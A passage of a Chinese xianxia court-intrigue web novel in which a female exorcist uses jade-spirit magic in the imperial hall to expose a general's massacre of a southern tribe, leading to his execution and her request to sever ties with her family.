云昭接过玉佩,朝荣太傅微微拱手致谢,并不多言。
很快,常玉取来了皇帝的青白玉螭龙佩,荣太傅的莲藕鸳鸯佩,以及另外两位官员主动提供的玉佩。
内**这四枚玉佩,一同呈到大殿中央临时设下的长条案几上。
云昭走到案前,只留莺时在旁协助。
她拿起一支特制的狼毫符笔,蘸饱血砂,俯身在大殿光洁的金砖地面上,绘制一个极其繁复复合符阵。
“乾坤定位,山泽通气。雷风相薄,水火相射。
血裔为引,灵玉为媒。过往留痕,映照今时!”
随着最后一个音节落下,她双手同时结印,指尖绽放出淡淡的金色毫芒,分别引向案几上的四枚玉佩。
“嗡——!”
整个符阵骤然亮起一层朦胧的、水波般的清光,将长条案几笼罩其中。
众人看得清楚,只有皇帝和荣太傅持有的两块玉佩,微微震颤,发出了轻微的鸣响。
云昭示意一旁的小太监将另外两块玉佩归还原主:“陛下和荣太傅的两块为灵玉,可以作为稍后对照之物。”
有人小声质疑:“她说是灵玉就是灵玉?”
“不过是让玉石震颤,瞧着也无甚稀奇!”
可紧接着,随着众人看清眼前的景象,整个太极殿陷入一片诡异的寂静之中。
只见云昭先拿起了荣太傅的那块玉佩,将之悬于符阵中心上方的红绳上,指尖混着朱砂轻轻一弹:
“溯影回光,因缘显化!”
清叱声中,玉佩内的玉髓仿佛被注入了生命,流淌起温润的乳白色光华。
片刻后,云昭身后的屏风之上,清晰地投映出两道略显模糊、却轮廓分明的虚影。
其中一道虚影,躺在一张床榻之上,身形消瘦,气息奄奄,显然病重垂危。
另一道较为挺拔的虚影,则站在床榻边,微微俯身。
只见榻上的人影,艰难地抬起一只手,颤抖着将一块玉佩递向床边的人影。
床边的人影接过,紧紧攥在手中。
尽管没有声音,但那传递的动作,那份沉重与不舍,却透过光影清晰地传达给了每一个观看的人。
旁人或许看得云里雾里,不明所以。
但站在不远处的荣太傅,在看到屏风上第一幕虚影的瞬间,就如遭雷击,整个人僵在了原地!
那病榻上的身影……那分明是他早逝的长子,荣文谦临终时的模样!
而床边接玉之人
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,正是当年的自己!
他仿佛又回到了那个令人心碎的夜晚。
长子缠绵病榻数月,药石罔效,油尽灯枯。临终前,长子摒退了所有人,只留他这老父在侧。
儿子用尽最后的力气,从枕边摸出这块玉佩,塞进他手中,气若游丝,却字字恳切:
“爹……孩儿不孝,先走一步。孩儿膝下只留下听雪这一个女儿,孩儿别无他求,只求爹爹务必善待听雪,护她周全。
她的婚事,无需攀附什么高门显贵,儿子只愿她能寻个真心爱重她的好儿郎,平安喜乐一生……足矣……”
言毕,长子便咽了气,手仍紧紧攥着他的衣袖,不肯松开。
儿子死的时候,孙女荣听雪才刚过三岁生辰不久,粉雕玉琢,正是最惹人怜爱的时候。
当年他白发人送黑发人,心痛如绞,握着尚带儿子体温的玉佩,对天发誓,定要好好抚养孙女,绝不让她受半分委屈,更要为她寻一门顶好的亲事……
可是啊,时光最是磨人,也最是健忘。
随着年岁渐长,朝堂倾轧,家族兴衰的重担压在肩头,那份丧子之痛渐渐被忙碌与权谋冲淡。
那份对孙女单纯“平安喜乐”的承诺,也在不知不觉中,被掺杂了太多家族利益的权衡与算计。
人心复杂,尤其到了荣太傅这把年纪、这个位置,所思所虑,早已超越了简单的儿女情长、天伦之乐。
他想的是如何让荣家门楣不堕,如何在下一代中培养出能撑起家族的顶梁柱。
长子早逝,次子病弱,孙子平庸,唯一的希望,似乎就落在了嫡孙女荣听雪的婚姻上。
就在昨日,大儿媳还哭着找到书房,对他说:“爹爹,坊间都传那姜家长子品行不端,与番邦公主不清不楚。
儿媳不求听雪大富大贵,只求她能找个真心实意待她好的良人。
若是没有,儿媳宁愿养着听雪一辈子,也不愿她跳入火坑!”
当时他是如何呵斥儿媳的?他斥她“妇人之见”、“糊涂短视”!
他冷声道:“那姜珩若真是个循规蹈矩、毫无瑕疵的端方君子,老夫反倒不敢用他!
正因为他有才而无德,有野心而缺根基,才最是合适!
只要听雪生下带有荣家血脉的孩儿,届时,老夫自有办法处置了他!”
然而此刻,看着屏风上重现的、儿子临终前交付玉佩的虚影,看着虚影中自己当年接过玉佩时那微微颤抖的手……
当年的一幕幕,宛如昨日重现,无比清晰地撞击着他早已冰封坚硬的心湖。
荣太傅算计了一辈子的心,忽然被撬开了一道细微的裂缝。
一丝久违的、属于“父亲”和“祖父”的温情与愧疚,悄然渗入。
云昭的声音适时响起:“诸位如今该知,到底何谓灵玉了吧?”
荣太傅心头猛地一震,从翻腾的回忆与情绪中惊醒。
他抬眼,对上云昭那双清澈见底、仿佛能映照人心的眸子,第一次在这个年轻女子面前,感到了某种被洞悉的微窘与震撼。
他握了握手指,朝云昭微微颔首,声音有些低沉沙哑,却带着前所未有的郑重:“姜司主……好手段。老夫,佩服!”
云昭随即拿起了第二块玉佩——
正是皇帝命常玉取来的那块青白玉镂雕螭龙纹佩。
不远处的萧启,在看到云昭拿起这块玉佩的瞬间,眸光骤然变得锋锐,甚至带着一丝难以遏制的冰冷怒意!
旁人或许只觉得此玉造型古朴,玉质上乘,乃帝王珍玩。
但萧启看得分明,这分明是他母亲、已故先皇后穆氏的遗物!
第224章 让她成为最幸福的皇后
屏风上光影流转,景象逐渐清晰。
依稀看到远处波光粼粼的水纹荡漾,岸边垂柳依依,随风轻摆。
一个身姿窈窕的女子立于柳荫之下,似乎正欣赏景致。
一个年轻男子的剪影快步走近,在女子身后不远处停下,弯下腰,从地上拾起一物,然后直起身,将那样东西递还给女子——
看那形状,正是一块玉佩。
紧接着,光影中的女子侧身,似乎对男子说了句什么。
年轻男子微微垂首,竟朝着女子端端正正地行了一礼。
随即,女子微微颔首,转身翩然离去,留下男子独自站在原地。
在场绝大多数官员看到这一幕,并未多想,更无人敢往深处揣测。
方才皇帝已经言明此玉佩是“故人所赠”,他们自然以为屏风上显现的,不过是皇帝年轻时与某位后宫嫔妃的往事。
皇家私事,岂容臣下窥探议论?
众人只是暗自感叹这玄术果然神奇,竟能将过往情景重现至此。
然而萧启看得分明,那女子的剪影,正是先皇后穆氏!
御座之上,皇帝萧衍在光影显现的刹那,整个人便如同被定住了一般,陷入了遥远的回忆之中。
他仿佛又回到了那个春光明媚却令他心口发涩的午后。
那时,穆氏早已嫁给了他的皇兄,成了名正言顺的太子妃。
那是在东宫为皇兄举办的生辰宴上,宾客云集,热闹非凡。
他远远地看见她独自一人走向御花园的湖边,身影孤单,清雅绝俗。
鬼使神差地,他撇开众人,快步追了过去。
就在她即将踏上九曲桥时,腰间系着的一块玉佩滑落,掉在草地上。
他恰好赶到,弯腰拾起。
玉佩入手温润,是极好的青白玉,雕着精美的螭龙纹。
当他看清这玉佩时,心头却猛地一沉——他认得这块玉!
这是皇兄不久前新得的一块宝玉,玉质莹润无瑕,雕工更是巧夺天工。
皇兄爱不释手,曾在一次小聚时拿出来炫耀过。
他没想到,皇兄竟这么快就将如此心爱之物,转赠给了她。
若皇兄待她不好,若她过得并不如意……
他或许还能找到理由说服自己,那份悄然滋生的情愫,并非全然荒谬。
他可以劝说自己,那只是对美玉蒙尘的惋惜,是对她艰难境遇的同情。
可偏偏,皇兄待她,专情至极。
而她,也并非朝三暮四之人,与皇兄琴瑟和鸣,恩爱非常。
二人之间那种自然而然的亲密与默契,是他此生从未体验过、也从未敢奢望能拥有的感情。
那一刻,萧衍觉得,是上苍太过不公!
为何让皇兄先一步被立为太子?
为何他只能远远看着心爱之人成为自己的嫂嫂,与她失之交臂,连一丝争取的机会都没有?
若当年太子之位是他的,若他能先一步向父皇求娶穆氏,他相信自己也会和皇兄一样长情,一样专一,绝不会多看旁的女子一眼!
他定能给她世间最好的一切,让她成为最幸福的皇后……
往昔的遗憾、不甘、以及那份被深埋心底的执念,再次翻涌上心头,让皇帝一时心神失守,眸中情绪复杂难辨。
阶下,萧启将皇帝眼底的偏执尽收眼底。
他半垂着眼帘,浓密的睫毛掩盖了眸中几乎要满溢而出的冰冷杀意。
就在这时,云昭清冷平静的声音响起,打破了殿内微妙而压抑的气氛:“陛下这块玉佩,同样是块难得的‘灵玉’。”
她微微一顿,目光扫过神色各异的众人,继续道:“不过,陛下乃万金之躯,真龙天子,臣不敢擅取陛下之血以作验证。”
她话锋一转,看向荣太傅:“为向诸位大人更清晰地展示此法,证明并非臣与岩诺串通作假,臣请借荣太傅三滴指尖鲜血一用。
届时诸位便可亲眼看到,荣老大人与此玉佩之间的‘灵线’。
同时,屏风上所显化的过往影像,也将因血气加入而变得更为清晰,宛若昨日之事,重现眼前。”
说话间,已有捧着银针和玉盏的小太监恭敬地走到荣太傅面前,等候取血。
云昭此言一出,满朝哗然!
然而,荣太傅此刻心中却是另一番计较。
他方才亲眼见到长子临终景象被重现,对云昭所言“灵玉回溯”之法已信了七八分。可他并不欲让旁人窥见家事!
荣太傅摇了摇头:“不必了。姜司主方才手段,老夫已然亲见,深信不疑。此法玄妙,确能沟通灵玉,显现过往关联之景。”
云昭淡淡一笑:“荣老大人见谅,此法既是为做对照,怎能有始无终?”
荣太傅脸色难看,可皇帝没有出言反对,取血的小太监也坚持上前,他只能任由云昭取了三滴血。
“嗡——!”
玉佩发出一声清越的鸣响,一道淡金色灵光,如同有生命的丝线,一头连接着玉佩,另一头……则遥遥指向荣太傅本人!
这一切发生在电光火石之间,快得让人根本来不及反应!
与此同时,后方那面巨大的素绢屏风之上,景象骤然波动起来!
先前那病榻上消瘦模糊的剪影,以肉眼可见的速度变得清晰饱满起来。
先是轮廓,接着是眉眼,然后是细微的表情……
屏风之上,光影重聚,正是荣太傅那早逝的嫡长子——荣文谦临终前的容颜!
在场不少人都认出了荣文谦!一时间众人纷纷道:
“这姜云昭真是神了!”
“居然能通过玉佩显影,若是如此,以后遇到悬案,不也可以用此法缉凶?”
“难怪陛下如此重用,此女确实有几分真本事!”
御座上的皇帝脸色复杂,搭在龙椅扶手上的指尖,不受控制地轻轻弹动了几下。
侍立一旁的常玉看得眼皮急跳,心头骇然!
旁人或许不了解,可他伺候皇帝多年,深知这是陛下习惯的小动作!
皇帝这是心动了!
若不是此刻当着满朝文武的面,以陛下对元懿皇后那份痴念……
恐怕早已亲自刺血,命令姜云昭全力催动阵法,让那玉佩中的影像“活”过来了!
作孽啊!
常玉常常觉得自己因为知道的太多,而跟整个朝堂格格不入!
此时有反应快的臣子出声发问:“姜司主!依你方才所言,若以这南疆少年之血为引,就能指引出那‘九黎血玉璜’的所在方位?”
云昭颔首:“只要那玉璜尚在京中,此法应能有所感应。”
“可若……若真是如此,那岂不是……”
所有人都明白了这意味着什么!
如果云昭施法,岩诺的血脉灵光直指京中,
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甚至直指孟大将军府邸所在,那就意味着,孟峥确实私藏了异族宝物!
而若能寻回宝玉,依照方才的法子进行回溯,令屏风上显现出与此玉璜相关的过往景象……
那么,很可能就会看到黑石寨被屠时的惨烈场景!
如若这叫岩诺的少年所言一切为真,杀良冒功,私藏重宝,欺君罔上……
哪一条不是抄家灭族的滔天大罪?!
想到此处,不少官员已是冷汗涔涔,看向孟峥的目光充满了复杂。
孟家……这次恐怕是在劫难逃了!
就在众人惊疑不定之际,云昭的动作却快得惊人。
她根本不给任何人反应或阻挠的时间,走到岩诺身边,执起他已被刺破的指尖,将几滴新鲜的血液滴入符阵中心。
同时口中再次念动咒诀,双手结印,将一股精纯的灵力打入阵中。
“灵引一线,破妄显真!”
清叱声中,众人只见一道细如发丝、却明亮如赤金般的灵光,自大殿之中骤然迸发!
灵光蜿蜒窜起,在空中略一盘旋,便毫不犹豫地调转方向,朝着皇宫之外的某个方向,疾射而去!
“追!”皇帝面色铁青,毫不犹豫,一个凌厉的眼神扫向殿外。
早在殿外待命的数名大内高手身影闪动,迅捷无比地循着那道灵光轨迹,飞掠出殿,直追而去!
徐莽眼睁睁看着灵光指向宫外,又见孟峥仍如木雕泥塑般跪在原地,对周围一切充耳不闻,不禁再次扑上前:
“大将军!大将军您醒醒啊!您这到底是怎么了?您看看!他们要陷害您啊!您快说句话啊!”
已有素来与孟峥不睦的武将,忍不住冷声嘲讽:“还能怎么了?我看孟大将军这是坏事做尽,如今证据确凿,吓得魂飞魄散,连话都不会说了吧!”
恰在此时,殿外传来通报,太子萧鉴脸色苍白地被内侍搀扶着走了进来。
他显然尚未完全从昨夜的惊恐中恢复,又被这紧急升朝的阵仗弄得茫然失措,一进殿就看到百官神色凝重、皇帝面沉如水的场面。
他不禁惊愕道:“父皇,这是怎么了?孟大将军他……”
皇帝看了太子这副萎靡惊惶、不成体统的模样,心中更是烦躁厌恶,连训斥都懒得,只冷淡地挥了挥手,示意他退到一旁,莫要添乱。
就在众人翘首等待追踪结果之际,站在大殿中央的岩诺,忽然再次抬起头,看向御座上的皇帝:
“皇帝陛下,岩诺还有一物可呈为证!”
他目光灼灼,语出惊人:“当年孟峥为骗取我族信任,曾亲手书写与黑石寨永结盟好的契约!
岩诺愿交出铁证,襄助皇帝陛下铲除恶贼!只求皇帝陛下圣裁,严惩元凶!
并恳请皇帝陛下,将玉璜归还黑石寨圣坛,这是我阿姊死前的遗憾,也是她毕生所愿!”
刚刚站定的太子听到此节,不禁大为震惊!
这蛮子是何人?
他才不过晚来了两刻钟!怎么这些人就要给大将军定下如此令人发指的罪行!
他目光不由转向云昭,谁知云昭也正瞧着他……的脚下,唇角弧度绽起。
太子下意识地一凛,谁知云昭就在这时突然道:“殿下止步——!”
群臣被云昭突如其来的厉声惊了一跳,就连皇帝都将目光,再次投注到脸色煞白的太子身上。
第225章 流下血泪
“殿下莫要再往前了。”
云昭抬手,指向大殿中央流转着微光的符阵:“
若殿下不慎踏入,扰乱了阵中灵机,干扰了追寻玉璜下落的线索,这个责任……恐怕谁都担待不起。”
她说这话时,神色端肃,目光澄澈,一副完全为公事着想的模样。
可唯有距离她不远、且一直死死盯着她的太子萧鉴,看得分明——
自他出现在大殿之上,云昭的目光总会若有似无地瞥过他脚下的影子。
那目光平静无波,却比任何嘲讽或恐吓,都更让太子毛骨悚然!
昨夜他打发拂云去寻那个曾侍奉过永熙王的穆姓玄师,可那样的人物,岂是仓促之间就能找到的?
整整一夜,他躺在殷府那间被无数灯烛照得亮如白昼的房间里,不敢合眼。
只要烛火稍微晃动,墙上、地上的影子随之扭曲变形,他就觉得那些黑影仿佛活了过来!
那种如芒在背的惊惧,已将他折磨得草木皆兵,几近崩溃。
此刻,看到云昭的目光流转,太子心中笃定,她看出来了!
她一定早就看出来他影子有问题!
昨夜她那般干脆利落地离开,说什么回玄察司取东西,根本就是故意的!
她故意将他晾在那里,故意任由他被恐惧折磨!
羞愤、怨恨,恐惧化作一股烈火冲上心头。
太子脸色铁青,从齿缝里挤出几个字:“姜、云、昭——!!”
“你退后。”
一个威严而冷淡的声音,自御座方向传来,打断了太子即将喷薄而出的怒火。
皇帝坐在龙椅上,目光甚至并未落在太子身上,语气不容置疑:“退到一旁去。莫要干扰姜司主施法。”
太子愕然抬头,难以置信地看向自己的父皇。
昨日他离宫前,父皇虽对他有些冷淡,但言语间仍有回护之意,甚至默许了他前往殷府对姜云昭施压……
怎么才不过一夜,父皇的态度就变得如此冷硬?
难道就因为姜云昭昨夜救了孟峥?
还是说……父皇知道了什么别的事……
一股寒意,瞬间席卷了太子的四肢百骸。
就在太子心神剧震之际,殿外天空,骤然传来一声尖锐的破空厉啸!
“咻——!”
一枚拖着醒目红色尾焰的信箭,划破长空,猛地炸开一团耀眼的红色光晕!
裴寂快步走出殿外,仰头仔细观察信箭升起的方向,片刻后折返,声音洪亮地禀报:
“陛下!信箭起自东南方向,距宫城约七里,具体方位应是……崇仁坊附近!”
皇帝闻言,神色看不出喜怒,但眼神已然冷了几分。
殿内群臣则是一片低声哗然。
立刻有熟悉京城布局的官员失声道:“崇仁坊?那……那不是孟大将军府邸所在的坊区吗?!”
另一名官员接口,语气带着难以置信的惊疑:“虽同在崇仁坊,但坊内宅邸众多,未必就是大将军府……”
“可那道灵光指向明确,信箭又恰恰在崇仁坊升起,这未免太过巧合!”
众人的目光已不由自主地瞟向神情木然的孟峥。
皇帝从龙椅上缓缓站起,步下丹陛,走到大殿门口,负手望着信箭消散的天空方向,沉默不语。
就在众人心思各异、窃窃私语之时——
“咻——!”
第二枚信箭,竟紧接着在另一个稍远些的方位,同样拖着醒目的尾焰,尖锐地撕裂空气,升空炸开!
这一次,信箭升起的方向,是正南偏东!
“这……怎么会有两处?”
“灵光不是只指向一处吗?”
群臣面面相觑,一时惊疑不定,议论声更大了。
赵悉走到云昭身侧,低语道:“这第二枚信箭的方向,是孟府。小姑奶奶,你这是要把陛下后院掀翻啊!”
要知道,不仅大将军姓孟,贵妃姓孟,当朝皇后,也姓孟!
就连太子身上也留着一半孟氏的血!
赵悉口中的孟府,指的正是大将军孟峥和孟贵妃的本家。
云昭眸光闪烁,她先时见孟峥腰间那块曾庇护他多年的玉佩,又听了阿措依和岩诺姐弟先后讲述的黑石寨往事,便猜到孟峥有收集美玉的癖好。
只是没想到,孟峥竟将玉璜一分为二,还将其中一半给了自家人。
在场有不少人也看出了端倪,彼此交换着心照不宣的眼神,但此刻,再无人站出来为孟峥辩驳半句。
又过了约莫一炷香的功夫,殿外终于传来急促而整齐的脚步声。
皇帝派出的精锐,几乎同时折返。
其中一队由一名神色冷峻的侍卫统领率领,他们手中捧着一个不起眼的黑漆木盒。
而另一队,则更为引人注目——
为首的侍卫手中,竟然还提着一个打扮得珠光宝气的老妇人!
待那老妇人被重重丢在殿前,众人看清她的面容,无不倒吸一口凉气!
这老妇竟是孟峥的母亲,朝廷钦封的一品诰命夫人秦氏!
秦氏何曾受过这等**?
她挣扎着爬起身,也顾不得整理仪容,老泪纵横地朝着御座方向连连叩首:“陛下!臣妇冤枉啊!
臣妇今日好端端在佛堂诵经,这些凶神恶煞的侍卫突然闯进府中,不容分说便将臣妇捆了带来!
求陛下为臣妇做主,严惩这些无法无天之徒!”
然而云昭的目光,却第一时间落在了秦氏那因挣扎而歪斜的发髻上——
那里斜插着一支雕工极为精细的白玉簪子。
玉簪的簪头,正散发着极其微弱的莹润宝光!
不仅云昭看到了,高踞御座的皇帝,以及许多眼尖的臣子,也都瞧见了。
而一直死死盯着秦氏的岩诺,在看清那簪头玉质的瞬间,双眼骤然赤红,如同一头被彻底激怒的幼兽,猛地扑上前!
他动作快得惊人,不等任何人阻拦,已一把扯下秦氏发间那支白玉簪,双手颤抖地捧在心口的位置。
“我黑石寨世代供奉的九黎血玉璜,你们竟将圣物一分为二,戴在妇人头上招摇!”
他猛地转身,死死瞪着瘫坐在地、尚未反应过来的秦氏恨声道,“玉璜既碎,灵性大损!你们……你们罪该万死!”
“贪婪无耻的中原强盗!满口仁义,都是谎言!”
不少官员被骂得脸色阵青阵白,他们想要呵斥这蛮子无礼,可一想到若他所言为真,那便是亡族灭种的血海深仇!
易地而处,若自家遭此大难,他们只怕比这少年更加疯狂!
一时间,满堂文武,竟无人能出言反驳,只剩一片难堪的沉默。
玉璜既毁,即便云昭玄术通神,也难以借此物完整回溯当年真相了。
骑跨在孟峥后颈上的阿措依,猩红的鬼眼中,两行浓稠的血泪潸然而下。
就在这时,云昭几不可察地动了动嘴唇,以鬼语极轻地说了一句:“让他‘醒’过来。”
方才云昭在朝堂上所做的一切,以玄术为岩诺正名,以灵光逼指孟府,早已大大出乎阿措依的意料,也充分彰显了云昭合作的诚意。
阿措依知道,至少在此刻,云昭与她的目标是一致的——
让孟峥身败名裂,伏法认罪!
她不再犹豫,松开了那双一直如铁箍般环住孟峥脖颈的鬼手,凝聚起一丝精纯的怨力,朝着孟峥的头顶天灵盖,狠狠一拍而下!
“呃啊——!”孟峥喉咙里发出一声极其痛苦的低哑呻吟。
他原本空洞木然的双眼猛地一瞠,先是茫然地四下扫视,待看到瘫坐在不远处、鬓发散乱、泪流满面的秦氏时,下意识地唤道:“娘?”
秦氏此刻脑子里还是懵的,她根本不清楚具体发生了什么,只感觉今日之事来势汹汹,绝非好事。
见儿子终于清醒并看向自己,她如同抓住了救命稻草,哭诉
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道:“峥儿!我的儿啊!你快跟陛下说清楚,这到底是怎么回事?
娘今日在府中好好的,怎么就……是不是有什么天大的误会?你快向陛下解释啊!”
她虽不明就里,但察觉到满朝文武看向他们母子的目光,充满了不善与审视。
她知道,今日祸事,必与长子息息相关!
秦氏这一生,可谓享尽了荣华富贵,顺遂得令人艳羡。
她出身名门,父亲曾官至户部尚书,丈夫出自煊赫的范阳孟氏,本身亦官至光禄大夫。
但最让她骄傲、也让她在贵妇圈中地位超然的,还是她所出的一双儿女——
长子孟峥,军功起家,位极人臣,官拜护国大将军,手掌重兵,权倾朝野;
长女孟清妍更是了得,十年前选秀入宫,仅用了三年时间,便从小小的才人一路升至贵妃之位,宠冠后宫,风头无两。
她秦氏,母凭子贵,一品诰命加身,往来皆是顶级权贵,大半辈子都活在旁人仰望的目光与恭维之中。
何曾想过有朝一日,会如此狼狈不堪地被丢在朝堂之上,承受着无数或审视或鄙夷的目光?
这从云端骤然跌落的惶惑与恐惧,几乎将她击垮。
孟峥的目光随着母亲的哭诉,迅速扫过全场。
当他看清手持残破玉簪、双目赤红死死瞪着他的岩诺时,浑身剧震,如遭雷击!
待看到母亲身旁侍卫手中捧着的那个黑漆木盒……
他脸上的血色瞬间褪得干干净净,一股灭顶的寒意从脚底直冲头顶!
“陛、陛下……”
孟峥猛地跪直身体,声音干涩嘶哑,额头上冷汗涔涔而下,瞬间浸湿了鬓角。
皇帝目光如冰刃般落在他脸上:“孟卿,朕等着你的解释。”
孟峥张了张嘴,想要辩解,想要将一切推到岩诺身上,说他是蛮子诬陷,说那玉是仿造……
可他刚刚被阿措依强行唤醒,神魂本就因长时间的鬼噬与操控而衰弱混乱,此刻又面临如山铁证与帝王威压,脑子里仿佛塞满了乱麻,一片空白。
“此蛮……此蛮他……陛下,臣……”
“陛下,”云昭开口道,“微臣倒是有个法子,或可让孟大将军畅所欲言,道出心中所想。”
她转向一旁的内侍:“请取一碗清水来。”
清水很快奉上。
云昭伸出右手食指,指尖悬于水碗上方寸许,凌空勾画起来。
须臾,云昭端起那碗符水,故意朗声道:“此法,乃臣机缘巧合,得碧云寺有悔大师秘传。
饮下此‘真言符水’,一炷香内,只能说心中认定的真话,若违心说谎,符力反噬,顷刻间肠穿肚烂,七窍流血而亡。”
她端着水碗,一步步走到浑身颤抖的孟峥面前,居高临下地看着他:“孟大将军,请吧。”
孟峥死死盯着那碗水!
他当然知道绝不能喝!
一旦喝了,他那些深埋心底、见不得光的秘密,将在众目睽睽之下尽数吐露!
届时,孟家上下几百口都将死无葬身之地!
“不……我不喝!这是妖术!妖术!”
孟峥突然暴起,抬手狠狠朝着云昭手中的水碗扫去,直接将其打翻!
“放肆——!”皇帝勃然怒喝,声震殿宇。
云昭似乎早有预料,在孟峥抬手的同时,已疾步向后退去。
而几乎在同一时间,萧启手腕微动,手中青玉笏板直朝孟峥掷出!
玉笏板精准地砸在孟峥挥出的手腕上,力道奇大!
只听“咔嚓”一声轻微的骨裂声响,孟峥惨叫一声,右手软软垂下。
早已蓄势待发的大内侍卫如猛虎般扑上,瞬间将孟峥死死摁倒在地!
云昭与孟峥透着不甘与死气的双目相对,唇角微勾。
方才的水里,根本什么都没有。
但对做贼心虚的孟峥而言,那碗所谓的真言符水,就是他的催命符!
第226章 与姜家断亲!绝义!
就在这电光火石之间,岩诺已从怀中掏出一物。
他郑重地将羊皮卷高高举起:“陛下!这就是草民先前所言,孟峥当年亲手立下的契约!上面有他和我阿爹的手印!请陛下过目!”
皇帝眼神一凝:“呈上来。”
暂代礼部尚书之职的礼部侍郎周玄龄越众而出,从岩诺手中接过羊皮卷,小心展开。
他仔细辨认着上面已经有些褪色的两种文字——
一种是标准的大晋官方楷书,另一种则是形如鸟兽虫鱼的南疆古文字。
片刻后,周侍郎面色凝重地抬起头:“陛下,此契约……属实。
其上以大晋官文与南疆古文并列书写,条款确为双方约定友好互市、互不侵犯等内容。
末尾处,分别有‘孟峥’的汉文签名与私人印鉴、红色指印,以及黑石寨寨主‘岩山’的签名与指印。
契约一角,还加盖了一枚安南都督府行军司马印,此印,正是当年孟峥担任安南都督府行军司马时的官印!”
周侍郎的话,如同最后一根稻草,彻底压垮了孟峥。
他被侍卫摁在地上,额头青筋暴跳,眼珠凸出,嘴巴不受控制地张开,仿佛被一股无形的力量强行撬开了牙关。
一串嘶哑的话语,如同梦呓般,从他口中不受控制地流淌出来:
“黑石寨……不过区区一千多蛮子……就算你们愿意归附,我大晋岂会稀罕?
互市?你们能带来什么?兽皮?草药?
那些破烂,抵得上边境一年的军费吗?!
若不是看中你们族中那块据说能助长气运的‘血玉璜’,我当时岂会浪费时间去跟你们周旋!
什么圣女,什么盟约……不过都是……都是我孟峥的踏脚石!”
“无耻之尤!”
素来以刚正闻名的御史中丞方大人当即怒不可遏,“陛下!孟峥此言,已将其卑劣心性暴露无遗!
为私欲而欺瞒友盟,为军功而屠戮无辜,无信无义、残暴不仁!
我大晋以仁德立国,以信义交远人,岂容此等败类玷污国体!”
另一位兵部的老臣也痛心疾首道:“陛下!必须彻查孟峥过往所有军功战绩!
天知道还有多少类似黑石寨这样的无辜部族,被其冠以‘匪患’之名,杀良冒功,成就他孟家今日之煊赫!
此例一开,边将效仿,我大晋边疆永无宁日,朝廷威信亦将荡然无存啊陛下!”
更有官员直接跪地叩首:“陛下!孟峥所犯,乃欺君之罪!不严惩,不足以慰冤魂!不足以正国法!不足以安天下!”
群情激愤,唾骂之声不绝于耳。
皇帝缓缓走回龙椅前,并未立刻坐下。
他居高临下,俯视着被摁在地上、面如死灰的孟峥,良久才缓缓开口:
“孟峥,你身为朝廷大将,世受国恩,本当忠君爱国,守土安民。然你贪婪无度,欺君罔上,天理难容,国法难恕!
着,革去孟峥一切官职爵位!夺其丹书铁券!今日午时,凌迟处死,以儆效尤!”
“孟氏一族,父族、母族(秦氏一族),凡十六岁以上男丁,尽数处斩!
十六岁以下男丁及所有女眷,没入官籍,流放三千里,永世不得赦免!其三族之内,五代不许科考,不许为官,不许从军!”
“贵妃孟氏,”皇帝顿了顿,语气冰冷,“褫夺封号,降为庶人,迁居冷宫,非诏不得出。”
秦氏听到“凌迟处死”、“诛三族”时,早已面无人色,再听到女儿也被牵连废黜,终于承受不住,凄厉地尖叫一声,双眼一翻,彻底晕死过去。
而一直静默站在一旁的太子,脸色亦是一片煞白。
父皇他……果然如母后在信中所说的那般,冷心薄性,翻脸无情!
父皇口口声声要诛三族、废贵妃!
他眼里可还有半分孟家昔年的功劳,可还记得他的母后、当今皇后,也是孟氏族人?!
父皇他如此果决地处置了孟氏,全然不念与孟家旧日情分,那又是如何看他这个有着一半孟氏血脉的太子的?
萧鉴眼底闪过一抹恨色……
只待母后归来,届时,大不了他效仿唐皇,一场宫变夺了这皇位!
也好过每日在他这位父皇眼皮子底下,战战兢兢,如履薄冰地艰难度日!
皇帝却并未停顿,继续道:“黑石寨遗孤岩诺,忠勇可嘉,忍辱负重,揭露巨奸,有功于朝。
朕感念黑石寨无辜受难,特旨:
于南疆原黑石寨旧址附近,
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由朝廷出资出力,助岩诺重建村寨,安置遗民。
赐岩诺正六品忠勇校尉虚衔,允其**罔替,统辖新寨,永镇南疆,以示朝廷抚慰之诚。”
“另,着即选派得力干员,前往南疆,全面接手原属孟峥之防务及一切相关事务,彻查其在南疆所有行径!
凡有违法乱纪、侵害边民之举,无论涉及何人,一律严惩不贷,绝不姑息!”
皇帝目光扫过群臣:“诸卿,谁愿往南疆,主持此事,整肃边务,安抚遗民?”
短暂的沉默后,一个清朗的声音响起:“陛下,臣卫临,愿往!”
皇帝看着卫临,眼中闪过一抹迟疑。
“陛下,”云昭这时开口道,“臣身边有一哑仆孙氏,于玄术驱邪一道,亦有些微末见识。若陛下准许,可令其随卫驸马同往南疆。”
皇帝闻言,眉头微舒:“准奏。卫临,朕便命你为钦差大臣,总领南疆善后安抚事宜,持朕金牌,遇事可临机专断。孙氏随行,一应听你调遣。”
“臣,领旨谢恩!”卫临郑重跪拜。
云昭转向捧着残破玉簪、犹自沉浸在悲愤中的岩诺,温声道:“岩诺,玉璜虽碎,灵韵未绝。
我愿尝试,以玄门金缮之法,尽力将其修复。
也算我大晋对昔日友盟的一份交代与弥补。”
亲眼见证了云昭今日在朝堂之上,从验证身份到追索圣物,再到逼问真相的全过程,岩诺对云昭已生出了极大的信任。
他红着眼圈,小心翼翼地将那半截玉簪递给云昭,旁边的侍卫也将木盒中那另外半枚稍大的残璜奉上。
皇帝看着这一幕,神色终于缓和了些许。
他开口道:“姜爱卿今日立此大功,揭发巨奸,安定朝野,又愿修复圣物,弥合裂痕。朕心甚慰。当——重赏!
姜爱卿,你可有什么想要的?但说无妨。”
云昭闻言,先是将手中残玉妥善收好,然后转过身,面向御座,深深一揖。
她抬起头,目光清澈而坚定,声音清晰地传遍大殿的每一个角落:
“臣女别无他求。唯有一愿——
“恳请陛下恩准,臣女姜云昭,愿与姜家彻底分家,断亲绝义,自此以后,生死荣辱,各不相干!”
第227章 另立女户
此言一出,满堂俱惊,随即一片压抑不住的哗然之声四起。
太子目光幽微,扫过众人。
之前孟峥的事证据凿实,已无转圜,但姜云昭想要断亲一事,却大有文章可做。
其中一些官员收到太子的暗示,纷纷出言:
“我朝以孝治天下,《户律》中虽有‘父母在,子孙别籍异财者,徒三年’之条,但多因家产纷争、兄弟不睦。
姜司主身为女子,父兄尚在,有何天大的缘由,竟要公然提出‘断亲’?此非人伦常理啊!”
“该不会是姜司主如今圣眷正隆,瞧不上家中日渐式微?若真如此,未免令人心寒。”
“女子主动要求与家中断绝关系,闻所未闻!”
云昭神色不变,只是再次向御座上的皇帝躬身,声音清晰而坚定:“陛下方才金口玉言,问臣有何心愿,这便是臣唯一所求。
臣依律提请分家析产,不偷不抢,不犯国法,为何不能分?
